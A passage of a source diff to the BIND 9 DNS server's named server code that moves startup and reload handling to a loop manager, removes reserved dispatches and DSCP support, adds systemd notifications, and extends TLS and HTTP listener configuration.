-	isc_task_setname(server->task, "server", server);
-	isc_taskmgr_setexcltask(named_g_taskmgr, server->task);
-
-	server->sctx = NULL;
-	CHECKFATAL(ns_server_create(mctx, get_matching_view, &server->sctx),
-		   "creating server context");
+	ns_server_create(mctx, get_matching_view, &server->sctx);
 
 #if defined(HAVE_GEOIP2)
 	/*
@@ -10281,95 +10156,34 @@ named_server_create(isc_mem_t *mctx, named_server_t **serverp) {
 	server->sctx->fuzznotify = named_fuzz_notify;
 #endif /* ifdef ENABLE_AFL */
 
-	CHECKFATAL(isc_task_onshutdown(server->task, shutdown_server, server),
-		   "isc_task_onshutdown");
-	CHECKFATAL(
-		isc_app_onrun(named_g_mctx, server->task, run_server, server),
-		"isc_app_onrun");
-
-	server->interface_timer = NULL;
-	server->heartbeat_timer = NULL;
-	server->pps_timer = NULL;
-	server->tat_timer = NULL;
-
-	server->interface_interval = 0;
-	server->heartbeat_interval = 0;
-
-	CHECKFATAL(dns_zonemgr_create(named_g_mctx, named_g_taskmgr,
-				      named_g_timermgr, named_g_socketmgr,
-				      named_g_netmgr, &server->zonemgr),
-		   "dns_zonemgr_create");
-	CHECKFATAL(dns_zonemgr_setsize(server->zonemgr, 1000), "dns_zonemgr_"
-							       "setsize");
-
-	server->statsfile = isc_mem_strdup(server->mctx, "named.stats");
-	CHECKFATAL(server->statsfile == NULL ? ISC_R_NOMEMORY : ISC_R_SUCCESS,
-		   "isc_mem_strdup");
-
-	server->bindkeysfile = isc_mem_strdup(server->mctx,
-					      named_g_defaultbindkeys);
-	CHECKFATAL(server->bindkeysfile == NULL ? ISC_R_NOMEMORY
-						: ISC_R_SUCCESS,
-		   "isc_mem_strdup");
-
-	server->dumpfile = isc_mem_strdup(server->mctx, "named_dump.db");
-	CHECKFATAL(server->dumpfile == NULL ? ISC_R_NOMEMORY : ISC_R_SUCCESS,
-		   "isc_mem_strdup");
-
-	server->secrootsfile = isc_mem_strdup(server->mctx, "named.secroots");
-	CHECKFATAL(server->secrootsfile == NULL ? ISC_R_NOMEMORY
-						: ISC_R_SUCCESS,
-		   "isc_mem_strdup");
-
-	server->recfile = isc_mem_strdup(server->mctx, "named.recursing");
-	CHECKFATAL(server->recfile == NULL ? ISC_R_NOMEMORY : ISC_R_SUCCESS,
-		   "isc_mem_strdup");
-
-	server->hostname_set = false;
-	server->hostname = NULL;
-	server->version_set = false;
-	server->version = NULL;
-
-	server->zonestats = NULL;
-	server->resolverstats = NULL;
-	server->sockstats = NULL;
-	CHECKFATAL(isc_stats_create(server->mctx, &server->sockstats,
-				    isc_sockstatscounter_max),
-		   "isc_stats_create");
-	isc_socketmgr_setstats(named_g_socketmgr, server->sockstats);
-	isc_nm_setstats(named_g_netmgr, server->sockstats);
+	named_g_mainloop = isc_loop_main(named_g_loopmgr);
 
-	CHECKFATAL(isc_stats_create(named_g_mctx, &server->zonestats,
-				    dns_zonestatscounter_max),
-		   "dns_stats_create (zone)");
+	isc_loop_setup(named_g_mainloop, run_server, server);
+	isc_loop_teardown(named_g_mainloop, shutdown_server, server);
+
+	/* Add SIGHUP reload handler  */
+	server->sighup = isc_signal_new(
+		named_g_loopmgr, named_server_reloadwanted, server, SIGHUP);
+
+	isc_stats_create(server->mctx, &server->sockstats,
+			 isc_sockstatscounter_max);
+	isc_nm_setstats(named_g_netmgr, server->sockstats);
 
-	CHECKFATAL(isc_stats_create(named_g_mctx, &server->resolverstats,
-				    dns_resstatscounter_max),
-		   "dns_stats_create (resolver)");
+	isc_stats_create(named_g_mctx, &server->zonestats,
+			 dns_zonestatscounter_max);
 
-	server->flushonshutdown = false;
+	isc_stats_create(named_g_mctx, &server->resolverstats,
+			 dns_resstatscounter_max);
 
-	server->controls = NULL;
 	CHECKFATAL(named_controls_create(server, &server->controls),
 		   "named_controls_create");
-	server->dispatchgen = 0;
-	ISC_LIST_INIT(server->dispatches);
 
 	ISC_LIST_INIT(server->statschannels);
 
 	ISC_LIST_INIT(server->cachelist);
 
-	server->sessionkey = NULL;
-	server->session_keyfile = NULL;
-	server->session_keyname = NULL;
-	server->session_keyalg = DST_ALG_UNKNOWN;
-	server->session_keybits = 0;
-
-	server->lockfile = NULL;
-
-	server->dtenv = NULL;
-
 	server->magic = NAMED_SERVER_MAGIC;
+
 	*serverp = server;
 }
 
@@ -10386,6 +10200,7 @@ named_server_destroy(named_server_t **serverp) {
 
 #ifdef USE_DNSRPS
 	dns_dnsrps_server_destroy();
+	isc_mem_free(server->mctx, server->dnsrpslib);
 #endif /* ifdef USE_DNSRPS */
 
 	named_controls_destroy(&server->controls);
@@ -10399,164 +10214,68 @@ named_server_destroy(named_server_t **serverp) {
 	}
 
 	isc_mem_free(server->mctx, server->statsfile);
-	isc_mem_free(server->mctx, server->bindkeysfile);
 	isc_mem_free(server->mctx, server->dumpfile);
 	isc_mem_free(server->mctx, server->secrootsfile);
 	isc_mem_free(server->mctx, server->recfile);
 
+	if (server->bindkeysfile != NULL) {
+		isc_mem_free(server->mctx, server->bindkeysfile);
+	}
+
 	if (server->version != NULL) {
 		isc_mem_free(server->mctx, server->version);
 	}
 	if (server->hostname != NULL) {
 		isc_mem_free(server->mctx, server->hostname);
 	}
-	if (server->lockfile != NULL) {
-		isc_mem_free(server->mctx, server->lockfile);
-	}
-
-	if (server->zonemgr != NULL) {
-		dns_zonemgr_detach(&server->zonemgr);
-	}
-
-	dst_lib_destroy();
-
-	INSIST(ISC_LIST_EMPTY(server->kasplist));
-	INSIST(ISC_LIST_EMPTY(server->viewlist));
-	INSIST(ISC_LIST_EMPTY(server->cachelist));
-
-	server->magic = 0;
-	isc_mem_put(server->mctx, server, sizeof(*server));
-	*serverp = NULL;
-}
-
-static void
-fatal(named_server_t *server, const char *msg, isc_result_t result) {
-	if (server != NULL && server->task != NULL) {
-		/*
-		 * Prevent races between the OpenSSL on_exit registered
-		 * function and any other OpenSSL calls from other tasks
-		 * by requesting exclusive access to the task manager.
-		 */
-		(void)isc_task_beginexclusive(server->task);
-	}
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_CRITICAL, "%s: %s", msg,
-		      isc_result_totext(result));
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_CRITICAL,
-		      "exiting (due to fatal error)");
-	named_os_shutdown();
-	exit(1);
-}
-
-static void
-start_reserved_dispatches(named_server_t *server) {
-	REQUIRE(NAMED_SERVER_VALID(server));
-
-	server->dispatchgen++;
-}
-
-static void
-end_reserved_dispatches(named_server_t *server, bool all) {
-	named_dispatch_t *dispatch, *nextdispatch;
-
-	REQUIRE(NAMED_SERVER_VALID(server));
-
-	for (dispatch = ISC_LIST_HEAD(server->dispatches); dispatch != NULL;
-	     dispatch = nextdispatch)
-	{
-		nextdispatch = ISC_LIST_NEXT(dispatch, link);
-		if (!all && server->dispatchgen == dispatch->dispatchgen) {
-			continue;
-		}
-		ISC_LIST_UNLINK(server->dispatches, dispatch, link);
-		dns_dispatch_detach(&dispatch->dispatch);
-		isc_mem_put(server->mctx, dispatch, sizeof(*dispatch));
-	}
-}
-
-void
-named_add_reserved_dispatch(named_server_t *server,
-			    const isc_sockaddr_t *addr) {
-	named_dispatch_t *dispatch;
-	in_port_t port;
-	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
-	isc_result_t result;
-	unsigned int attrs, attrmask;
-
-	REQUIRE(NAMED_SERVER_VALID(server));
-
-	port = isc_sockaddr_getport(addr);
-	if (port == 0 || port >= 1024) {
-		return;
-	}
-
-	for (dispatch = ISC_LIST_HEAD(server->dispatches); dispatch != NULL;
-	     dispatch = ISC_LIST_NEXT(dispatch, link))
-	{
-		if (isc_sockaddr_equal(&dispatch->addr, addr)) {
-			break;
-		}
+	if (server->lockfile != NULL) {
+		isc_mem_free(server->mctx, server->lockfile);
 	}
-	if (dispatch != NULL) {
-		dispatch->dispatchgen = server->dispatchgen;
-		return;
+
+	if (server->zonemgr != NULL) {
+		dns_zonemgr_detach(&server->zonemgr);
 	}
 
-	dispatch = isc_mem_get(server->mctx, sizeof(*dispatch));
+	dst_lib_destroy();
 
-	dispatch->addr = *addr;
-	dispatch->dispatchgen = server->dispatchgen;
-	dispatch->dispatch = NULL;
+	INSIST(ISC_LIST_EMPTY(server->kasplist));
+	INSIST(ISC_LIST_EMPTY(server->viewlist));
+	INSIST(ISC_LIST_EMPTY(server->cachelist));
 
-	attrs = 0;
-	attrs |= DNS_DISPATCHATTR_UDP;
-	switch (isc_sockaddr_pf(addr)) {
-	case AF_INET:
-		attrs |= DNS_DISPATCHATTR_IPV4;
-		break;
-	case AF_INET6:
-		attrs |= DNS_DISPATCHATTR_IPV6;
-		break;
-	default:
-		result = ISC_R_NOTIMPLEMENTED;
-		goto cleanup;
-	}
-	attrmask = 0;
-	attrmask |= DNS_DISPATCHATTR_UDP;
-	attrmask |= DNS_DISPATCHATTR_TCP;
-	attrmask |= DNS_DISPATCHATTR_IPV4;
-	attrmask |= DNS_DISPATCHATTR_IPV6;
-
-	result = dns_dispatch_getudp(named_g_dispatchmgr, named_g_socketmgr,
-				     // OQS updated from 4096 to 8192
-				     named_g_taskmgr, &dispatch->addr, 8192,
-				     UDPBUFFERS, 32768, 16411, 16433, attrs,
-				     attrmask, &dispatch->dispatch);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+	if (server->tlsctx_server_cache != NULL) {
+		isc_tlsctx_cache_detach(&server->tlsctx_server_cache);
 	}
 
-	ISC_LIST_INITANDPREPEND(server->dispatches, dispatch, link);
+	if (server->tlsctx_client_cache != NULL) {
+		isc_tlsctx_cache_detach(&server->tlsctx_client_cache);
+	}
 
-	return;
+	server->magic = 0;
+	isc_mem_put(server->mctx, server, sizeof(*server));
+	*serverp = NULL;
+}
 
-cleanup:
-	isc_mem_put(server->mctx, dispatch, sizeof(*dispatch));
-	isc_sockaddr_format(addr, addrbuf, sizeof(addrbuf));
+static void
+fatal(const char *msg, isc_result_t result) {
+	if (named_g_loopmgr_running) {
+		isc_loopmgr_pause(named_g_loopmgr);
+	}
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-		      "unable to create dispatch for reserved port %s: %s",
-		      addrbuf, isc_result_totext(result));
+		      NAMED_LOGMODULE_SERVER, ISC_LOG_CRITICAL, "%s: %s", msg,
+		      isc_result_totext(result));
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_SERVER, ISC_LOG_CRITICAL,
+		      "exiting (due to fatal error)");
+	named_os_shutdown();
+	isc__tls_setfatalmode();
+	exit(1);
 }
 
 static isc_result_t
 loadconfig(named_server_t *server) {
 	isc_result_t result;
-	start_reserved_dispatches(server);
 	result = load_configuration(named_g_conffile, server, false);
 	if (result == ISC_R_SUCCESS) {
-		end_reserved_dispatches(server, false);
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 			      "reloading configuration succeeded");
@@ -10576,10 +10295,14 @@ reload(named_server_t *server) {
 	isc_result_t result;
 
 	atomic_store(&server->reload_status, NAMED_RELOAD_IN_PROGRESS);
+#if HAVE_LIBSYSTEMD
+	sd_notify(0, "RELOADING=1\n"
+		     "STATUS=reload command received\n");
+#endif /* HAVE_LIBSYSTEMD */
 
 	CHECK(loadconfig(server));
 
-	result = load_zones(server, false, false);
+	result = load_zones(server, false);
 	if (result == ISC_R_SUCCESS) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
@@ -10592,6 +10315,12 @@ reload(named_server_t *server) {
 		atomic_store(&server->reload_status, NAMED_RELOAD_FAILED);
 	}
 cleanup:
+#if HAVE_LIBSYSTEMD
+	sd_notifyf(0,
+		   "READY=1\n"
+		   "STATUS=reload command finished: %s\n",
+		   isc_result_totext(result));
+#endif /* HAVE_LIBSYSTEMD */
 	return (result);
 }
 
@@ -10599,26 +10328,22 @@ reload(named_server_t *server) {
  * Handle a reload event (from SIGHUP).
  */
 static void
-named_server_reload(isc_task_t *task, isc_event_t *event) {
-	named_server_t *server = (named_server_t *)event->ev_sender;
-
-	INSIST(task == server->task);
-	UNUSED(task);
+named_server_reload(void *arg) {
+	named_server_t *server = (named_server_t *)arg;
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 		      "received SIGHUP signal to reload zones");
 	(void)reload(server);
-
-	isc_event_free(&event);
 }
 
 void
-named_server_reloadwanted(named_server_t *server) {
-	isc_event_t *event = isc_event_allocate(
-		named_g_mctx, server, NAMED_EVENT_RELOAD, named_server_reload,
-		NULL, sizeof(isc_event_t));
-	isc_task_send(server->task, &event);
+named_server_reloadwanted(void *arg, int signum) {
+	named_server_t *server = (named_server_t *)arg;
+
+	REQUIRE(signum == SIGHUP);
+
+	isc_async_run(named_g_mainloop, named_server_reload, server);
 }
 
 void
@@ -10627,7 +10352,7 @@ named_server_scan_interfaces(named_server_t *server) {
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_DEBUG(1),
 		      "automatic interface rescan");
 
-	ns_interfacemgr_scan(server->interfacemgr, true);
+	ns_interfacemgr_scan(server->interfacemgr, true, false);
 }
 
 /*
@@ -10672,7 +10397,8 @@ next_token(isc_lex_t *lex, isc_buffer_t **text) {
 	}
 
 	if (token.type == isc_tokentype_string ||
-	    token.type == isc_tokentype_qstring) {
+	    token.type == isc_tokentype_qstring)
+	{
 		return (token.value.as_textregion.base);
 	}
 
@@ -10739,7 +10465,7 @@ zone_from_args(named_server_t *server, isc_lex_t *lex, const char *zonetxt,
 	}
 
 	name = dns_fixedname_initname(&fname);
-	CHECK(dns_name_fromstring(name, zonebuf, 0, NULL));
+	CHECK(dns_name_fromstring(name, zonebuf, dns_rootname, 0, NULL));
 
 	/* Look for the optional class name. */
 	classtxt = next_token(lex, text);
@@ -10801,8 +10527,8 @@ zone_from_args(named_server_t *server, isc_lex_t *lex, const char *zonetxt,
 				result = ISC_R_NOTFOUND;
 			}
 		} else {
-			result = dns_zt_find(view->zonetable, name, 0, NULL,
-					     zonep);
+			result = dns_view_findzone(view, name, DNS_ZTFIND_EXACT,
+						   zonep);
 		}
 		if (result != ISC_R_SUCCESS) {
 			snprintf(problem, sizeof(problem),
@@ -10847,6 +10573,8 @@ named_server_retransfercommand(named_server_t *server, isc_lex_t *lex,
 	dns_zone_t *raw = NULL;
 	dns_zonetype_t type;
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &zone, NULL, text, true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -10861,10 +10589,10 @@ named_server_retransfercommand(named_server_t *server, isc_lex_t *lex,
 		dns_zone_detach(&raw);
 	}
 	type = dns_zone_gettype(zone);
-	if (type == dns_zone_slave || type == dns_zone_mirror ||
+	if (type == dns_zone_secondary || type == dns_zone_mirror ||
 	    type == dns_zone_stub ||
 	    (type == dns_zone_redirect &&
-	     dns_zone_getredirecttype(zone) == dns_zone_slave))
+	     dns_zone_getredirecttype(zone) == dns_zone_secondary))
 	{
 		dns_zone_forcereload(zone);
 	} else {
@@ -10894,6 +10622,8 @@ named_server_reloadcommand(named_server_t *server, isc_lex_t *lex,
 	dns_zonetype_t type;
 	const char *msg = NULL;
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &zone, NULL, text, true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -10905,8 +10635,9 @@ named_server_reloadcommand(named_server_t *server, isc_lex_t *lex,
 		}
 	} else {
 		type = dns_zone_gettype(zone);
-		if (type == dns_zone_slave || type == dns_zone_mirror ||
-		    type == dns_zone_stub) {
+		if (type == dns_zone_secondary || type == dns_zone_mirror ||
+		    type == dns_zone_stub)
+		{
 			dns_zone_refresh(zone);
 			dns_zone_detach(&zone);
 			msg = "zone refresh queued";
@@ -10945,10 +10676,14 @@ isc_result_t
 named_server_reconfigcommand(named_server_t *server) {
 	isc_result_t result;
 	atomic_store(&server->reload_status, NAMED_RELOAD_IN_PROGRESS);
+#if HAVE_LIBSYSTEMD
+	sd_notify(0, "RELOADING=1\n"
+		     "STATUS=reconfig command received\n");
+#endif /* HAVE_LIBSYSTEMD */
 
 	CHECK(loadconfig(server));
 
-	result = load_zones(server, false, true);
+	result = load_zones(server, true);
 	if (result == ISC_R_SUCCESS) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
@@ -10961,6 +10696,12 @@ named_server_reconfigcommand(named_server_t *server) {
 		atomic_store(&server->reload_status, NAMED_RELOAD_FAILED);
 	}
 cleanup:
+#if HAVE_LIBSYSTEMD
+	sd_notifyf(0,
+		   "READY=1\n"
+		   "STATUS=reconfig command finished: %s\n",
+		   isc_result_totext(result));
+#endif /* HAVE_LIBSYSTEMD */
 	return (result);
 }
 
@@ -10974,6 +10715,8 @@ named_server_notifycommand(named_server_t *server, isc_lex_t *lex,
 	dns_zone_t *zone = NULL;
 	const char msg[] = "zone notify queued";
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &zone, NULL, text, true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -10999,9 +10742,11 @@ named_server_refreshcommand(named_server_t *server, isc_lex_t *lex,
 	isc_result_t result;
 	dns_zone_t *zone = NULL, *raw = NULL;
 	const char msg1[] = "zone refresh queued";
-	const char msg2[] = "not a slave, mirror, or stub zone";
+	const char msg2[] = "not a secondary, mirror, or stub zone";
 	dns_zonetype_t type;
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &zone, NULL, text, true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -11018,8 +10763,9 @@ named_server_refreshcommand(named_server_t *server, isc_lex_t *lex,
 	}
 
 	type = dns_zone_gettype(zone);
-	if (type == dns_zone_slave || type == dns_zone_mirror ||
-	    type == dns_zone_stub) {
+	if (type == dns_zone_secondary || type == dns_zone_mirror ||
+	    type == dns_zone_stub)
+	{
 		dns_zone_refresh(zone);
 		dns_zone_detach(&zone);
 		(void)putstr(text, msg1);
@@ -11076,6 +10822,7 @@ named_server_togglequerylog(named_server_t *server, isc_lex_t *lex) {
 static isc_result_t
 listenlist_fromconfig(const cfg_obj_t *listenlist, const cfg_obj_t *config,
 		      cfg_aclconfctx_t *actx, isc_mem_t *mctx, uint16_t family,
+		      isc_tlsctx_cache_t *tlsctx_cache,
 		      ns_listenlist_t **target) {
 	isc_result_t result;
 	const cfg_listelt_t *element;
@@ -11094,7 +10841,7 @@ listenlist_fromconfig(const cfg_obj_t *listenlist, const cfg_obj_t *config,
 		ns_listenelt_t *delt = NULL;
 		const cfg_obj_t *listener = cfg_listelt_value(element);
 		result = listenelt_fromconfig(listener, config, actx, mctx,
-					      family, &delt);
+					      family, tlsctx_cache, &delt);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
@@ -11123,10 +10870,12 @@ find_maplist(const cfg_obj_t *config, const char *listname, const char *name) {
 	}
 
 	for (elt = cfg_list_first(maplist); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		const cfg_obj_t *map = cfg_listelt_value(elt);
 		if (strcasecmp(cfg_obj_asstring(cfg_map_getname(map)), name) ==
-		    0) {
+		    0)
+		{
 			return (map);
 		}
 	}
@@ -11141,17 +10890,24 @@ find_maplist(const cfg_obj_t *config, const char *listname, const char *name) {
 static isc_result_t
 listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 		     cfg_aclconfctx_t *actx, isc_mem_t *mctx, uint16_t family,
+		     isc_tlsctx_cache_t *tlsctx_cache,
 		     ns_listenelt_t **target) {
 	isc_result_t result;
 	const cfg_obj_t *ltup = NULL;
 	const cfg_obj_t *tlsobj = NULL, *httpobj = NULL;
-	const cfg_obj_t *portobj = NULL, *dscpobj = NULL;
+	const cfg_obj_t *portobj = NULL;
 	const cfg_obj_t *http_server = NULL;
 	in_port_t port = 0;
-	isc_dscp_t dscp = -1;
-	const char *key = NULL, *cert = NULL;
+	const char *key = NULL, *cert = NULL, *ca_file = NULL,
+		   *dhparam_file = NULL, *ciphers = NULL;
+	bool tls_prefer_server_ciphers = false,
+	     tls_prefer_server_ciphers_set = false;
+	bool tls_session_tickets = false, tls_session_tickets_set = false;
 	bool do_tls = false, no_tls = false, http = false;
 	ns_listenelt_t *delt = NULL;
+	uint32_t tls_protos = 0;
+	ns_listen_tls_params_t tls_params = { 0 };
+	const char *tlsname = NULL;
 
 	REQUIRE(target != NULL && *target == NULL);
 
@@ -11160,15 +10916,20 @@ listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 
 	tlsobj = cfg_tuple_get(ltup, "tls");
 	if (tlsobj != NULL && cfg_obj_isstring(tlsobj)) {
-		const char *tlsname = cfg_obj_asstring(tlsobj);
+		tlsname = cfg_obj_asstring(tlsobj);
 
 		if (strcasecmp(tlsname, "none") == 0) {
 			no_tls = true;
 		} else if (strcasecmp(tlsname, "ephemeral") == 0) {
 			do_tls = true;
 		} else {
-			const cfg_obj_t *keyobj = NULL, *certobj = NULL;
+			const cfg_obj_t *keyobj = NULL, *certobj = NULL,
+					*ca_obj = NULL, *dhparam_obj = NULL;
 			const cfg_obj_t *tlsmap = NULL;
+			const cfg_obj_t *tls_proto_list = NULL;
+			const cfg_obj_t *ciphers_obj = NULL;
+			const cfg_obj_t *prefer_server_ciphers_obj = NULL;
+			const cfg_obj_t *session_tickets_obj = NULL;
 
 			do_tls = true;
 
@@ -11185,9 +10946,81 @@ listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 
 			CHECK(cfg_map_get(tlsmap, "cert-file", &certobj));
 			cert = cfg_obj_asstring(certobj);
+
+			if (cfg_map_get(tlsmap, "ca-file", &ca_obj) ==
+			    ISC_R_SUCCESS)
+			{
+				ca_file = cfg_obj_asstring(ca_obj);
+			}
+
+			if (cfg_map_get(tlsmap, "protocols", &tls_proto_list) ==
+			    ISC_R_SUCCESS)
+			{
+				const cfg_listelt_t *proto = NULL;
+				INSIST(tls_proto_list != NULL);
+				for (proto = cfg_list_first(tls_proto_list);
+				     proto != 0; proto = cfg_list_next(proto))
+				{
+					const cfg_obj_t *tls_proto_obj =
+						cfg_listelt_value(proto);
+					const char *tls_sver =
+						cfg_obj_asstring(tls_proto_obj);
+					const isc_tls_protocol_version_t ver =
+						isc_tls_protocol_name_to_version(
+							tls_sver);
+
+					INSIST(ver !=
+					       ISC_TLS_PROTO_VER_UNDEFINED);
+					INSIST(isc_tls_protocol_supported(ver));
+					tls_protos |= ver;
+				}
+			}
+
+			if (cfg_map_get(tlsmap, "dhparam-file", &dhparam_obj) ==
+			    ISC_R_SUCCESS)
+			{
+				dhparam_file = cfg_obj_asstring(dhparam_obj);
+			}
+
+			if (cfg_map_get(tlsmap, "ciphers", &ciphers_obj) ==
+			    ISC_R_SUCCESS)
+			{
+				ciphers = cfg_obj_asstring(ciphers_obj);
+			}
+
+			if (cfg_map_get(tlsmap, "prefer-server-ciphers",
+					&prefer_server_ciphers_obj) ==
+			    ISC_R_SUCCESS)
+			{
+				tls_prefer_server_ciphers = cfg_obj_asboolean(
+					prefer_server_ciphers_obj);
+				tls_prefer_server_ciphers_set = true;
+			}
+
+			if (cfg_map_get(tlsmap, "session-tickets",
+					&session_tickets_obj) == ISC_R_SUCCESS)
+			{
+				tls_session_tickets =
+					cfg_obj_asboolean(session_tickets_obj);
+				tls_session_tickets_set = true;
+			}
 		}
 	}
 
+	tls_params = (ns_listen_tls_params_t){
+		.name = tlsname,
+		.key = key,
+		.cert = cert,
+		.ca_file = ca_file,
+		.protocols = tls_protos,
+		.dhparam_file = dhparam_file,
+		.ciphers = ciphers,
+		.prefer_server_ciphers = tls_prefer_server_ciphers,
+		.prefer_server_ciphers_set = tls_prefer_server_ciphers_set,
+		.session_tickets = tls_session_tickets,
+		.session_tickets_set = tls_session_tickets_set
+	};
+
 	httpobj = cfg_tuple_get(ltup, "http");
 	if (httpobj != NULL && cfg_obj_isstring(httpobj)) {
 		const char *httpname = cfg_obj_asstring(httpobj);
@@ -11222,7 +11055,7 @@ listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 			}
 		} else if (http && !do_tls) {
 			if (named_g_httpport != 0) {
-				port = named_g_port;
+				port = named_g_httpport;
 			} else {
 				result = named_config_getport(
 					config, "http-port", &port);
@@ -11258,27 +11091,21 @@ listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 		port = (in_port_t)cfg_obj_asuint32(portobj);
 	}
 
-	dscpobj = cfg_tuple_get(ltup, "dscp");
-	if (!cfg_obj_isuint32(dscpobj)) {
-		dscp = named_g_dscp;
-	} else {
-		if (cfg_obj_asuint32(dscpobj) > 63) {
-			return (ISC_R_RANGE);
-		}
-		dscp = (isc_dscp_t)cfg_obj_asuint32(dscpobj);
+#ifdef HAVE_LIBNGHTTP2
+	if (http) {
+		CHECK(listenelt_http(http_server, family, do_tls, &tls_params,
+				     tlsctx_cache, port, mctx, &delt));
 	}
+#endif /* HAVE_LIBNGHTTP2 */
 
-	if (http) {
-		CHECK(listenelt_http(http_server, do_tls, key, cert, port, mctx,
-				     &delt));
-	} else {
-		CHECK(ns_listenelt_create(mctx, port, dscp, NULL, do_tls, key,
-					  cert, &delt));
+	if (!http) {
+		CHECK(ns_listenelt_create(mctx, port, NULL, family, do_tls,
+					  &tls_params, tlsctx_cache, &delt));
 	}
 
-	result = cfg_acl_fromconfig2(cfg_tuple_get(listener, "acl"), config,
-				     named_g_lctx, actx, mctx, 0, family,
-				     &delt->acl);
+	result = cfg_acl_fromconfig(cfg_tuple_get(listener, "acl"), config,
+				    named_g_lctx, actx, mctx, family,
+				    &delt->acl);
 	if (result != ISC_R_SUCCESS) {
 		ns_listenelt_destroy(delt);
 		return (result);
@@ -11289,19 +11116,27 @@ listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 	return (result);
 }
 
+#ifdef HAVE_LIBNGHTTP2
 static isc_result_t
-listenelt_http(const cfg_obj_t *http, bool tls, const char *key,
-	       const char *cert, in_port_t port, isc_mem_t *mctx,
-	       ns_listenelt_t **target) {
+listenelt_http(const cfg_obj_t *http, const uint16_t family, bool tls,
+	       const ns_listen_tls_params_t *tls_params,
+	       isc_tlsctx_cache_t *tlsctx_cache, in_port_t port,
+	       isc_mem_t *mctx, ns_listenelt_t **target) {
 	isc_result_t result = ISC_R_SUCCESS;
 	ns_listenelt_t *delt = NULL;
 	char **endpoints = NULL;
 	const cfg_obj_t *eplist = NULL;
 	const cfg_listelt_t *elt = NULL;
 	size_t len = 1, i = 0;
+	uint32_t max_clients = named_g_http_listener_clients;
+	uint32_t max_streams = named_g_http_streams_per_conn;
 
 	REQUIRE(target != NULL && *target == NULL);
-	REQUIRE((key == NULL) == (cert == NULL));
+
+	if (tls) {
+		INSIST(tls_params != NULL);
+		INSIST((tls_params->key == NULL) == (tls_params->cert == NULL));
+	}
 
 	if (port == 0) {
 		port = tls ? named_g_httpsport : named_g_httpport;
@@ -11312,39 +11147,62 @@ listenelt_http(const cfg_obj_t *http, bool tls, const char *key,
 	 * of "/dns-query".
 	 */
 	if (http != NULL) {
-		CHECK(cfg_map_get(http, "endpoints", &eplist));
-		len = cfg_list_length(eplist, false);
+		const cfg_obj_t *cfg_max_clients = NULL;
+		const cfg_obj_t *cfg_max_streams = NULL;
+
+		if (cfg_map_get(http, "endpoints", &eplist) == ISC_R_SUCCESS) {
+			INSIST(eplist != NULL);
+			len = cfg_list_length(eplist, false);
+		}
+
+		if (cfg_map_get(http, "listener-clients", &cfg_max_clients) ==
+		    ISC_R_SUCCESS)
+		{
+			INSIST(cfg_max_clients != NULL);
+			max_clients = cfg_obj_asuint32(cfg_max_clients);
+		}
+
+		if (cfg_map_get(http, "streams-per-connection",
+				&cfg_max_streams) == ISC_R_SUCCESS)
+		{
+			INSIST(cfg_max_streams != NULL);
+			max_streams = cfg_obj_asuint32(cfg_max_streams);
+		}
 	}
 
 	endpoints = isc_mem_allocate(mctx, sizeof(endpoints[0]) * len);
 
-	if (http != NULL) {
+	if (http != NULL && eplist != NULL) {
 		for (elt = cfg_list_first(eplist); elt != NULL;
-		     elt = cfg_list_next(elt)) {
+		     elt = cfg_list_next(elt))
+		{
 			const cfg_obj_t *ep = cfg_listelt_value(elt);
 			const char *path = cfg_obj_asstring(ep);
 			endpoints[i++] = isc_mem_strdup(mctx, path);
 		}
 	} else {
-		endpoints[i++] = isc_mem_strdup(mctx, "/dns-query");
+		endpoints[i++] = isc_mem_strdup(mctx, ISC_NM_HTTP_DEFAULT_PATH);
 	}
 
 	INSIST(i == len);
 
-	result = ns_listenelt_create_http(mctx, port, named_g_dscp, NULL, tls,
-					  key, cert, endpoints, len, &delt);
+	result = ns_listenelt_create_http(mctx, port, NULL, family, tls,
+					  tls_params, tlsctx_cache, endpoints,
+					  len, max_clients, max_streams, &delt);
 	if (result != ISC_R_SUCCESS) {
-		if (delt != NULL) {
-			ns_listenelt_destroy(delt);
-		}
-		return (result);
+		goto error;
 	}
 
 	*target = delt;
 
-cleanup:
+	return (result);
+error:
+	if (delt != NULL) {
+		ns_listenelt_destroy(delt);
+	}
 	return (result);
 }
+#endif /* HAVE_LIBNGHTTP2 */
 
